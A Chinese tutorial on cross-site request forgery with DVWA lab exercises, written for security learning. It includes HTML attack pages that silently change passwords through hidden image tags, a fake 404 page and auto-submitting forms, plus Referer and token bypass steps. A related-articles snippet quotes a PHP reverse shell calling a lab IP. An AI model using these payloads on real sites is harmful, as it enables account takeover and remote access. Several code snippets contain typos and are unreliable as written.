[Web安全 网络安全]-CSRF跨站请求伪造

news2024/9/22 9:40:04

文章目录:

一:前言

1.定义 

2.攻击原理

3.危害

4.环境

4.1 靶场

4.2 扫描工具

5.cookie session token的区别

6.CSRF与XSS的区别

二:构建CSRF的payload

GET请求:a标签 img标签

POST请求:form表单

三:防御方法

1.验证Referer

2.cookie hashing

3.验证随机CSRF-token

4.增加验证流程/二次验证

四:DVWA靶场CSRF练习

Low级别

Medium级别

High级别


一:前言

1.定义 

跨站请求伪造 (Cross-Site Request Forgery, CSRF),也被称为 One Click Attack 或者 Session Riding ,通常缩写为CSRF,是一种对网站的恶意利用
尽管听起来像XSS,但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站


也叫做点击攻击,必须有人点击它(处于登录状态),需要靠其他的漏洞来触发它,不然不能成功
也可以不点击,通过JS代码自动加载触发
主要是因为程序员开发的时候,未对请求比如token和REFERER等进行参数判断,造成攻击者可构造自己的URL地址欺骗目标用户进行点击


可以理解为:CSRF攻击者盗用你的身份,以你的名义发送恶意请求,对服务器来说请求是完全合法的
           但是却完成了攻击者所期望的操作,比如以你的名义发送邮件、信息、盗取你的账号、添加系统管理员、购买商品、转账等

2.攻击原理

1.CSRF的攻击建立在浏览器与web服务器的会话之中

2.欺骗用户访问URL链接

 

3.危害

修改密码、修改个人信息               

点赞、关注、评论、留言、转发、收藏、浏览、动态             

添加用户(超级管理员)

数据库备份

数据交易、支付

对话框钓鱼页面

和其他攻击手段配合

4.环境

4.1 靶场

DVWA:(Damn Vulnerable Web Application)是一个专为安全专业人员、开发人员和学生设计的网络安全靶场

pikachu:带有漏洞的Web应用系统,在这里包含了常见的web安全漏洞    可参考:分享1

4.2 扫描工具

Burp Suite、CSRFTester

5.cookie session token的区别

 Cookie、Session和Token在Web开发中常用于处理用户会话和状态管理,它们之间存在显著的区别 

存储位置与方式
    Cookie:存储在客户端的浏览器中,以文本文件的形式存在。每次HTTP请求时,浏览器都会将Cookie发送到服务器,从而实现状态的保持
    Session:存储在服务器端,通常使用内存或数据库来保存用户的会话信息。客户端通过Session ID(通常通过Cookie或URL传递)与服务器端的Session进行关联
    Token:也存储在客户端,但通常以加密的方式存储在客户端的localStorage或sessionStorage中,或者以HTTP头部(如Authorization)的形式发送给服务器


数据安全性
    Cookie:由于存储在客户端,容易被用户查看或篡改,因此敏感信息需要加密处理。同时,Cookie存在跨站请求伪造(CSRF)的风险
    Session:存储在服务器端,避免了敏感数据在客户端的暴露,提高了安全性。但Session ID可能通过Cookie或URL传递,存在被拦截的风险
    Token:通常采用加密算法生成,有效期较短且单向不可逆,具有较高的安全性。Token的验证过程不依赖于服务器端存储的用户信息,降低了被伪造的风险


跨域支持
    Cookie:默认情况下不支持跨域传输,即不同域名下的Cookie不能相互访问。这有助于防止跨站脚本攻击(XSS)和CSRF
    Session:Session机制通常依赖于Cookie来保存Session ID,因此Session ID也不支持跨域。但可以通过其他方式(如URL重写)实现跨域Session共享
    Token:可以轻松实现跨域,因为Token是存储在客户端的localStorage或作为请求头的一部分发送到服务器的,不受域名限制


状态管理
    Cookie:主要用于实现客户端的状态管理,通过存储临时数据来跟踪用户的状态
    Session:用于服务器端的状态管理,服务器为每个会话分配一个唯一的Session ID,并将其与用户状态相关联
    Token:主要用于无状态的身份验证和授权,它本身不包含用户的状态信息,而是通过验证用户的身份和权限来允许或拒绝访问


使用场景
    Cookie:适用于存储少量的用户数据(如用户偏好设置),以及实现简单的用户登录状态保持
    Session:适用于需要服务器端存储大量用户状态信息的场景,如购物车、用户会话等
    Token:适用于需要高安全性、无状态的身份验证和授权的场景,如API接口访问、单点登录(SSO)等

6.CSRF与XSS的区别

原理不同
    CSRF:CSRF是一种利用用户已登录的身份,在用户不知情的情况下,以用户的名义向服务器发送请求的攻击方式
         这种攻击的关键在于伪造用户的请求,使其看起来像是由用户本人发起的合法请求
    XSS:XSS则是一种通过向Web页面中注入恶意脚本代码,当用户浏览该页面时,脚本代码会在用户的浏览器上执行,从而达到攻击用户的目的
         这种攻击方式主要利用了Web页面能够执行JavaScript等脚本语言的能力


攻击目标不同
    CSRF:CSRF的攻击目标主要是用户,特别是那些已经登录并持有重要权限的用户
         攻击者通过伪造用户的请求,强制用户执行非本意的操作,如转账、修改密码等
    XSS:XSS的攻击目标则更为广泛,它既可以攻击用户(如窃取用户的Cookie信息),
         也可以攻击服务器(如通过注入的脚本代码向服务器发送恶意请求)


实现方式不同
    CSRF:CSRF攻击通常不需要用户登录目标网站,因为攻击者可以利用用户在其他网站上的登录状态(如通过Cookie)来伪造请求
         攻击者可能会通过发送伪装成合法链接的URL,诱骗用户点击,从而触发攻击
    XSS:XSS攻击则需要攻击者将恶意脚本代码注入到目标网站的页面中
         这通常可以通过在网站的输入表单中提交包含恶意脚本的输入、在网站留言板或评论区发布包含恶意脚本的留言等方式实现


防御措施不同
    CSRF:防御CSRF攻击的主要措施包括验证请求的来源(如检查HTTP Referer字段)、使用验证码、在HTTP请求中加入随机生成的token并验证等
         这些措施可以有效地防止攻击者伪造用户的请求
    XSS:防御XSS攻击的主要措施则包括对用户输入进行严格的过滤和转义,确保输入的数据不会被当作脚本代码执行
         此外,还可以使用内容安全策略(CSP)来限制Web页面可以加载的外部资源,从而减少XSS攻击的风险

二:构建CSRF的payload

GET请求:a标签 img标签

利用Burp抓包——>复制网址——>构建特殊页面1.html(可修改密码) 

<html>
	<head>
		<title></title>
 
        <!--CSS-->
		<style>
 
		</style>
 
         <!--JS-->
        <script>
 
 
        </script>
	</head>
 
	<body>
         <a href="http://192.168.18.115/lyb/user/updatePass.php?id=81&passwd=123&passwd=123&submit=%E6%9B%B0">点击立即和小姐姐聊天</a>

         <img src="http://192.168.18.115/lyb/user/updatePass.php?id=81&passwd=123&passwd=123&submit=%E6%9B%B0" width="0" height="0">
	</body>
</html>

POST请求:form表单

利用Burp抓包——>找到请求网址——>鼠标右键——>相关工具——>生产CSRF PoC——>构建特殊页面2.html(可修内容) 

<html>
	<head>
		<title></title>
 
        <!--CSS-->
		<style>
 
		</style>
 
         <!--JS-->
        <script>
 
 
        </script>
	</head>
 
	<body>
        <script>history.pushState('','','/')</script>
        <form action="http://192.168.18.115/lyb/message/messageSub.php method="POST">
            <input type="hidden" name="message" value="66666">
            <input type="hidden" name="submit" value="&#149;&#153;&#168;&#128;">
            <input type="submit" value="Submit request">
        </form>
	</body>
</html>

上面是手动点击的,也可以通过JS代码自动加载

<html>
	<head>
		<title></title>
 
        <!--CSS-->
		<style>
 
		</style>
 
         <!--JS-->
        <script>
 
 
        </script>
	</head>
 
	<body>
        <script>
            window.onload=function(){
                document.getElemetById("postsubmit").click();
            }
        </script>
        <form action="http://192.168.18.115/lyb/message/messageSub.php method="POST">
            <input type="hidden" name="message" value="66666">
            <input type="hidden" name="submit" value="&#149;&#153;&#168;&#128;">
            <input id="postsubmit" type="submit" value="Submit request">
        </form>
	</body>
</html>

三:防御方法

1.验证Referer

验证HTTP Referer字段:检查HTTP请求中的Referer字段,确保请求来自可信的源。确定是用户自己触发的。然而,这种方法存在被绕过的风险(伪造文件名 文件夹包含 携带参数)
判断Referer里面是否包含Host里面的值
    Host:192.168.2.114
    Referer:http://192.168.2.114/dvwa/vulnerabilities.csrf/


    if(isset($_GET['Change'])){
        if(stripos($_SERVER['HTTP_REFERER'],$_SERVER['SERVER_NAME'])!==false){

        }
    }

2.cookie hashing

1.客户端对cookie计算哈希,一起发送给服务器
    <?php
        $hash=mod5($_COOKIE['cookie'])
    ?>


2.服务端收到cookie,计算哈希值,与收到的hash值进行笔记


3.如果匹配成功,说明是验证了身份的客户端自己发起的请求
    <?php
        if(isset($_POST['check'])){
            $hash=mod5($_COOKIE['cookie'])
            if($_POST['check']==$hash){
                
            }else
        }
        else
    ?>

3.验证随机CSRF-token

在请求地址中添加token并验证:为每个敏感操作生成一个唯一的CSRF token,并将其作为请求的一部分发送给服务器。服务器在收到请求时验证CSRF token的有效性

    CSRF token标志数据字符串:确定请求是来源于用户自己授权过的,不是某个网址自己跳转的
    user_token里面的value值来源于服务器插入标记

    if(isset($_GET['Change'])){
        checkToken($_REQUEST['user_token'],$_SESSION['seeion_token'],'index.php')
    }
    

BP工具 插件扩展:CSRF Token Tracker进行token先行追踪拿取
1.用户使用用户名密码登录,服务器下发一个随机的token字段,并且服务端把这个字段保存在session中
    session_start()
    if (empty($_SESSlON['token'])){
        $_SESSION['token']= bin2hex(random_bytes(32));
    }
    $token=$ SESSlON['token1


2.客户端把这个token保存起来,放到隐藏字段


3.用户在登陆状态下,在之后访问的时候,都要携带这个token字段


4.服务端从seesion中拿出token值进行对比,如果一致,说明请求合法
    if (!empty($_POST['token'])){
        if (hash_equals($_SESSlON['token'], $_POST['token'])){
            // 执行业务逻辑
        } else
    }


5.用户退出,session销毁,token失效

4.增加验证流程/二次验证

验证码 

短信 

滑动拼图 

文字点选 

图形点选 

空间语义 

人脸识别

四:DVWA靶场CSRF练习

Low级别

源码分析:发现只是坐了密码比对,并没有其他认证,只需要输入的新密码和确认的新密码保持一致即可(New password   Confirm new password) 

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $current_user = dvwaCurrentUser();
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

方法一:将地址栏中的两个密码改成123456

192.168.80.145/dvwa/valnerabilities/csrf/password_new=123456&&password_conf=123456&Change=Change#

方法二:恶意网页包含img标签(用户点击访问这个页面时,会以为访问的页面丢失了,但是当他打开这个页面时,用户的密码已经被修改)

 <!DOCTYPE html>
 <html lang="en">
 <head>
     <meta charset="UTF-8">
     <meta http-equiv="X-UA-Compatible" content="IE=edge">
     <meta name="viewport" content="width=device-width, initial-scale=1.0">
     <title>错误</title>
 </head>
 <body>
     <h1>404</h1>
     <h1>无法正常访问</h1>


     <a href="http://192.168.80.145/dvwa/vulnerabilities/csrf/?password_new=passwd&password_conf=passwd&Change=Change#" >点击跳转</a>

     <img src="http://192.168.80.145/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;">
 </body>
 </html>

Medium级别

源码分析:stripos() 函数查找字符串在另一字符串中第一次出现的位置。

代码检查了变量HTTP_REFERER (http包头部的Referer字段的值,表示来源地址)是否包含SERVER_NAME(http包头部的 Host 字段表示要访问的主机名)

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $current_user = dvwaCurrentUser();
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . $current_user . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

方法一:必须保证在Http请求中Referer字段中必须包含Host,将Host与Referer修改一致

Host:192.168.2.114

Referer:http://192.168.2.114/dvwa/vulnerabilities.csrf/

方法二:修改Referer的值,改成localhost,再发送 

Host:192.168.2.114

Referer:localhost

方法三:文件夹名包含

方法四:文件名修改 

方法五:参数携带

High级别

源码分析:这关在页面是能够正常修改密码,但是多了一个token验证,这就需要我们去绕过token

直接修改cook的安全等级绕过token认证机制

<?php

$change = false;
$request_type = "html";
$return_message = "Request Failed";

if ($_SERVER['REQUEST_METHOD'] == "POST" && array_key_exists ("CONTENT_TYPE", $_SERVER) && $_SERVER['CONTENT_TYPE'] == "application/json") {
    $data = json_decode(file_get_contents('php://input'), true);
    $request_type = "json";
    if (array_key_exists("HTTP_USER_TOKEN", $_SERVER) &&
        array_key_exists("password_new", $data) &&
        array_key_exists("password_conf", $data) &&
        array_key_exists("Change", $data)) {
        $token = $_SERVER['HTTP_USER_TOKEN'];
        $pass_new = $data["password_new"];
        $pass_conf = $data["password_conf"];
        $change = true;
    }
} else {
    if (array_key_exists("user_token", $_REQUEST) &&
        array_key_exists("password_new", $_REQUEST) &&
        array_key_exists("password_conf", $_REQUEST) &&
        array_key_exists("Change", $_REQUEST)) {
        $token = $_REQUEST["user_token"];
        $pass_new = $_REQUEST["password_new"];
        $pass_conf = $_REQUEST["password_conf"];
        $change = true;
    }
}

if ($change) {
    // Check Anti-CSRF token
    checkToken( $token, $_SESSION[ 'session_token' ], 'index.php' );

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysqli_real_escape_string ($GLOBALS["___mysqli_ston"], $pass_new);
        $pass_new = md5( $pass_new );

        // Update the database
        $current_user = dvwaCurrentUser();
        $insert = "UPDATE `users` SET password = '" . $pass_new . "' WHERE user = '" . $current_user . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert );

        // Feedback for the user
        $return_message = "Password Changed.";
    }
    else {
        // Issue with passwords matching
        $return_message = "Passwords did not match.";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);

    if ($request_type == "json") {
        generateSessionToken();
        header ("Content-Type: application/json");
        print json_encode (array("Message" =>$return_message));
        exit;
    } else {
        echo "<pre>" . $return_message . "</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

方法一:Burp Suite抓包,发送到Repeater,security=high

security=low

方法二:BP工具插件扩展CSRF Token Tracker进行token先行追踪拿取 

1.配置请求地址和请求参数

2.勾选Syn requests based on the following rules

3.发送到重发模块、修改值、Send发送数据包

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2154758.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Prime1 靶机渗透 ( openssl 解密 ,awk 字符串处理,信息收集)

简介 Prime1 的另一种解法 起步 从初级shell开始 反弹 shell 路径 http://192.168.50.153/wordpress/wp-content/themes/twentynineteen/secret.php 其内的 shell 为 <?php eval("/bin/bash -c bash -i >& /dev/tcp/192.168.50.147/443 0>&1"…

【linux】nice命令

Linux中的nice命令是一个强大的工具&#xff0c;用于调整进程的优先级&#xff0c;进而影响它们在CPU上的资源分配和执行顺序。以下是关于nice命令的详细解释&#xff0c;包括其用途、语法、参数、示例以及使用建议。 一、用途 nice命令主要用于控制进程在CPU上的调度优先级&…

Springboot3 + MyBatis-Plus + MySql + Uniapp 实现商品规格选择sku(附带自设计数据库,最新保姆级教程)

Springboot3 MyBatis-Plus MySql Uniapp 实现商品规格选择sku&#xff08;附带自设计数据库&#xff0c;最新保姆级教程&#xff09; 1、效果展示2、数据库设计2.1 商品表2.2 商品价格和规格中间表2.3 商品规格表 3、后端代码3.1 model3.2 vo3.3 mapper、server、serverImp3…

DNS是什么?怎么设置

NS是什么意思?有什么用呢?专业的说DNS就是域名系统 (Domain Name System)的简称&#xff0c;也就是IT人士常说的域名解析系统。主要是让用户在互联网上通过域名找到域名对应的IP地址&#xff0c;因为IP地址都是一串数字(例如&#xff1a;192.168.0.1)不方便记忆&#xff0c;便…

华为全联接大会HUAWEI Connect 2024印象(一):OpenEuler

因为和华为有课程合作&#xff0c;此次应邀参加了华为全联接大会 &#xff08;HUAWEI Connect 2024&#xff09;&#xff0c;分几次分享一下自己的见闻。 HUAWEI Connect 2024的规模很大&#xff0c;不过主要面向的应该是企业市场&#xff0c;我比较关注的嵌入式系统的内容很少…

学习笔记——RegNet:Designing Network Design Spaces

RegNet&#xff1a;Designing Network Design Spaces RegNet&#xff1a;设计一个网络设计空间 论文地址&#xff1a; https://arxiv.org/pdf/2003.13678 1、前言 在这项工作中&#xff0c;作者提出了一种新的网络设计范例。 作者的目标是帮助增进对网络设计的理解并发现跨设置…

Stable Diffusion Fooocus批量绘图脚本

当当当挡~&#xff0c;流动传热数值计算之余发布点AIGC相关文章&#xff0c;希望大家能喜欢~ 1 Stable Diffusion各种UI分析对比 提示&#xff1a;此部分主要是对SD各种界面的简要介绍和对比&#xff0c;只关注Fooocus批量绘图的读者可直接跳到第二部分。 Stable Diffusion …

进程间的通信4 共享内存

共享内存 1.共享内存简介 共享内存是将分配的物理空间直接映射到进程的用户虚拟地址空间中&#xff0c;减少数据在内核空间缓存共享内存是一种效率较高的进程间通讯的方式在 Linux 系统中通过 ipcs -m 查看所有的共享内存 共享内存模型图 2.共享内存的创建 1.函数头文件 #…

【6DRepNet360全范围头部姿态估计onnxruntime推理】

6DRepNet360全范围头部姿态估计 标题摘要关键词主要贡献方法概述实验结论模型转换和onnxruntime推理模型和代码下载可视化结果代码 这篇论文的核心内容是关于一种用于全范围旋转头部姿态估计的新方法。以下是关键点的总结&#xff1a; 标题 Towards Robust and Unconstrained…

输电线路数据集

输电线路数据集&#xff08;绝缘子自爆&#xff0c;破损&#xff0c;闪络&#xff0c;鸟巢&#xff0c;防震锤脱落五种缺陷&#xff09; 包括 1.绝缘子自爆 2.绝缘子破损绝、闪络 3.鸟巢 4.防震锤脱落 数据增强后的数量 对应数量&#xff1a;1828&#xff0c;1467&#xff0c;4…

【Godot4.3】剪贴板相关以及粘贴截图

概述 Godot4.3中更新了一些关于剪贴板的方法&#xff0c;获取图片赫然在列&#xff0c;这意味着可以在自己的应用中创建诸如粘贴截图的功能。 这些方法被包含在DisplaySever单例中&#xff0c;有兴趣的戈友可以自己去翻一下文档。或许可以实现Godot版本的屏幕截图工具。 相关…

Java | Leetcode Java题解之第414题第三大的数

题目&#xff1a; 题解&#xff1a; class Solution {public int thirdMax(int[] nums) {Integer a null, b null, c null;for (int num : nums) {if (a null || num > a) {c b;b a;a num;} else if (a > num && (b null || num > b)) {c b;b num;…

Maven笔记(二):进阶使用

Maven笔记&#xff08;二&#xff09;-进阶使用 一、Maven分模块开发 分模块开发对项目的扩展性强&#xff0c;同时方便其他项目引入相同的功能。 将原始模块按照功能拆分成若干个子模块&#xff0c;方便模块间的相互调用&#xff0c;接口共享(类似Jar包一样之间引用、复用)…

【LLM学习之路】9月16日 第六天

【LLM学习之路】9月16日 第六天 损失函数 L1Loss 可以取平均也可以求和 参数解析 input &#xff08;N&#xff0c;*&#xff09; N是batchsize&#xff0c;星号代表可以是任意维度 不是输入的参数&#xff0c;只是描述数据 target 形状要同上 MSELoss平方差 CrossEntr…

物理学基础精解【7】

文章目录 平面方程直角坐标及基本运算 参考文献 平面方程 直角坐标及基本运算 向量的四则运算 下面由文心一言自动生成 向量的四则运算主要包括加法、减法、数乘&#xff08;标量乘法&#xff09;和数量积&#xff08;点积或内积&#xff09;&#xff0c;但通常不直接称为“除…

python sql中带引号字符串(单双引号)转义处理

描述&#xff1a; 最近在爬取数据保存到数据库时&#xff0c;遇到有引号的字符串插入MySQL报错&#xff1a;1064, "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 转义字符串…

线程(三) 线程的互斥

文章目录 线程线程的同步和互斥线程同步线程互斥为什么要使用线程互斥什么是线程同步示例--线程操作共享资源引发问题 线程互斥--互斥锁示例--使用互斥锁来保证取款操作 互斥锁的属性示例--创建不同的属性的互斥锁后进行加锁操作 线程互斥--读写锁示例--对读写锁进行使用以观察…

鸿蒙【项目打包】- .hap 和 .app;(测试如何安装发的hap包)(应用上架流程)

#打包成.hap需要用到真机 原因是&#xff1a;只有用上了真机才能在项目中配置 自动签名 #步骤: ##第一步:选择真机->选择项目结构->点Sigining Configs(签名配置) ##第二步:勾选Automatically generate signature(自动签名)->点击ok ##第三步:点击构建->点击 …

伊犁云计算22-1 rhel8 dhcp 配置

1 局域网搭建 2 yum 配置 这个参考前面 不说 3 dnf 安装dhcp 好我们废话不说开始安装。理论看书去 进入 dhcp.conf 配置 重启dhcpd 不能报错&#xff01;&#xff01;&#xff01;&#xff01; 我们在客户机上做测试 全局的dhcp关闭 很明显我们的客户机获取到192.16…

Why Is Prompt Tuning for Vision-Language Models Robust to Noisy Labels?

文章汇总 本文的作者针对了提示学习的结构设计进行了分析&#xff0c;发现了一些规律&#xff1a; 1)固定的类名令牌为模型的优化提供了强正则化&#xff0c;减少了由噪声样本引起的梯度。 2)从多样化和通用的web数据中学习到的强大的预训练图像文本嵌入为图像分类提供了强大…